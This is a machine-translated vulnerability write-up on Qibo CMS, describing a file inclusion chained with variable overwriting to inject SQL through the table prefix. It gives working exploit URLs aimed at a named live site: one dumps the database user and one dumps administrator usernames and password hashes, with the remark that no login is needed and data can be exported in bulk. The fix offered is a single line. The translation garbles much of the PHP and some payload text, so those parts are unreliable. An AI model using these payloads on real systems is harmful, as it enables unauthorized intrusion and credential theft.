High-risk SQL Injection caused by qibo local portal chicken ribs File Inclusion
Qibo cms has a public file inc/common. inc. php. The general page will contain this file. In common. inc. php, register the value of the $ _ GET/$ _ POST/$ _ COOKIE variable as a global variable. Some configuration files will be included later, such as the database configuration file data/mysql_config.php.
Some configuration variables cannot be overwritten because the configuration files contain all the registered global variables. For example, the database prefix $ pre ensures the security of these variables.
Well, let's see where the problem is. /F/inc/job/getzone. php 25 rows:
if($fup){$show=select_where("{$pre}zone","'postdb[zone_id]' onChange=\"choose_where('getstreet',this.options[this.selectedIndex].value,'','','$typeid')\"",$fid,$fup);$show=str_replace("\r","",$show);$show=str_replace("\n","",$show);$show=str_replace("'","\'",$show);echo "<SCRIPT LANGUAGE=\"JavaScript\"><!--parent.document.getElementById(\"{$typeid}showzone\").innerHTML='$show';//--></SCRIPT>";}
If $ fup exists, enter the if statement, call the select_where function, and input the $ fid and $ fup parameters. $ Fid is an integer and $ fup is a string.
Let's take a look at select_where:
Function select_where ($ table, $ name = 'fup', $ ck = '', $ fup ='') {global $ db, $ city_DB, $ pre; /* if ($ fup) {$ SQL = "WHERE fup = '$ fup '";} $ query = $ db-> query ("SELECT * FROM $ table $ SQL ORDER BY list DESC"); while ($ rs = $ db-> fetch_array ($ query )) {$ ckk = $ ck = $ rs [fid]? "Selected": ""; $ show. = "<option value = '$ rs [fid]' $ ckk> $ rs [name] </option>" ;}*/if (! $ Fup) {foreach ($ city_DB [name] AS $ key => $ value) {$ ckk = $ ck = $ key? "Selected": ""; $ show. = "<option value = '$ key' $ ckk> $ value </option>" ;}} elseif ($ fup) {if (strstr ($ name, 'zone ') & is_file (ROOT_PATH. "data/zone/$ fup. php ") {include (ROOT_PATH. "data/zone/$ fup. php "); foreach ($ zone_DB [name] AS $ key => $ value) {$ ckk = $ ck = $ key? "Selected": ""; $ show. = "<option value = '$ key' $ ckk >$ value </option> ";}} else {$ query = $ db-> query ("SELECT * FROM $ table WHERE fup = '$ fup' order by list DESC "); while ($ rs = $ db-> fetch_array ($ query) {$ ckk = $ ck = $ rs [fid]? "Selected": ""; $ show. = "<option value = '$ rs [fid]' $ ckk> $ rs [name] </option> ";}}} $ title = $ table = "{$ pre} city "? 'Nationwide ': 'Please select '; return "<select id = '$ table' name = $ name> <option value =''> $ title </option> $ show </select> ";}
The key points are as follows:
if(strstr($name,'zone')&&is_file(ROOT_PATH."data/zone/$fup.php")){include(ROOT_PATH."data/zone/$fup.php");...
If the zone is found in $ name and data/zone/$ fup. php exists, include it.
This is obviously a file, because there is no limit on $ fup. It is also very easy to satisfy the need to include 'zone 'in $ name, because the Input $ name variable has a typeid that we can control, typeid = zone.
However, the problem arises. This file must be truncated, but we have performed addslashes globally in qibo cms, so it cannot be truncated here.
If you cannot truncate it, it will be very bad. It can only contain PHP files.
So how can we make the vulnerabilities invisible? The first thing that comes to mind is the file that contains the background, causing an unauthorized access. Unfortunately, this include is in the function, so the global variables registered with GET/POST are ineffective. Therefore, many variables in the background file are undefined and cannot be used.
However, this idea can continue to spread, because many variables cannot be defined, so can we find a variable-defined file?
Another idea is variable overwrite. Because the sequence in which qibo cms registers global variables is as follows:
1. Register GET/POST as a global variable
2. The require_once configuration file introduces system preset variables.
Therefore, it is ensured that the variables registered by GET/POST do not overwrite the preset variables. But here we see a file inclusion, that is, we can include a file. If this file registers the GET/POST global variable again, and because it is require_once, therefore, the global configuration file is no longer included, so we can successfully overwrite the system variables, resulting in some security problems.
Based on these ideas, I found a file:/do/js. php, this file can also be found on the qibo whole site. There should be no difference. The first two sentences are:
<?phperror_reporting(0);extract($_GET);require_once(dirname(__FILE__)."/../data/config.php");
First, the $ _ GET array is extract, and the require_once data/config. php file is used. Data/config. php is the file preset by the system, but this file is included once before because require_once is used, so it will not be included here, so when we use extract, overwrite data/config. the system variables in php are not affected by require_once.
Continue to look at the following code at line 31:
require(dirname(__FILE__)."/"."global.php");require_once(ROOT_PATH."inc/label_funcation.php");$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");
Include (not once) the global. php file to see this file:
<? Phprequire_once (dirname (_ FILE __). "/.. /inc/common. inc. php "); // Core File @ include_once (ROOT_PATH. "data/ad_cache.php"); // The cached file of the AD variable @ include_once (ROOT_PATH. "data/label_hf.php"); // The variable cache file between the label header and the bottom
Require_once, so it does not contain common. inc. php and is not affected.
Therefore, we can see that there is no system configuration file in the future. extract can overwrite all previously defined system variables.
In this case, $ pre (Database prefix) can also be overwritten, so $ pre can be overwritten directly, resulting in injection.
Here is an official error report:
Http://life.qibosoft.com/f/job.php? Job = getzone & typeid = zone & fup = .. \.. \ do \ js & id = 514125 & webdb [web_open] = 1 & webdb [cache_time_js] =-1 & pre = aaa 'xxx
Let's talk about how to construct this poc.
Job = getzone is used to enter the/f/inc/job/getzone. php file.
Typeid = zone is used to make strstr ($ name, 'zone ') True.
Fup = .. \.. \ do \ js contains/do/js. PHP file (the reason why .. \ It seems that WAF is officially available .. /An error will be reported. Normally, you should use .. ). ,
Id = 514125 is used to match a restriction in js. php: eregi ("^ ([0-9] +) $", $ id)
Webdb [web_open] = 1. If this parameter is not specified, a message is displayed, indicating that the site is closed. The global settings are overwritten.
Webdb [cache_time_js] =-1. If this value is equal to other values, js. php generates an id under cache/js. PHP file, so that the SQL statement will not be executed next time. The id must be changed for each injection. So set it to-1.
Pre = aaa 'xxx, pre is the table prefix, here is the injection point.
Change the POC to an available EXP.
Database User:
Http://life.qibosoft.com/f/job.php? Job = getzone & typeid = zone & fup = .. \.. \ do \ js & id = 514125 & webdb [web_open] = 1 & webdb [cache_time_js] =-1 & pre = qb_label % 20 where % 20lid =-1% 20 UNION % 20 SELECT % ,,2, 3, 4, 5, 6, 0, user (), 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19% 23
Administrator account password:
Http://life.qibosoft.com/f/job.php? Job = getzone & typeid = zone & fup = .. \.. \ do \ js & id = 514125 & webdb [web_open] = 1 & webdb [cache_time_js] =-1 & pre = qb_label % 20 where % 20lid =-1% 20 UNION % 20 SELECT % ,,2, 3, 4, 5, 6, 0, concat % 28 username, 0x23, password % 29,9, 10, 11, 12, 13, 201%, 16, 17, from % 20qb_members % 20 limit % 23
In Linux, change .. \ ../.
Portal injection in this region requires no logon, and data can be directly exported in batches. Everyone knows what to do.
Solution:
Filter File Inclusion locations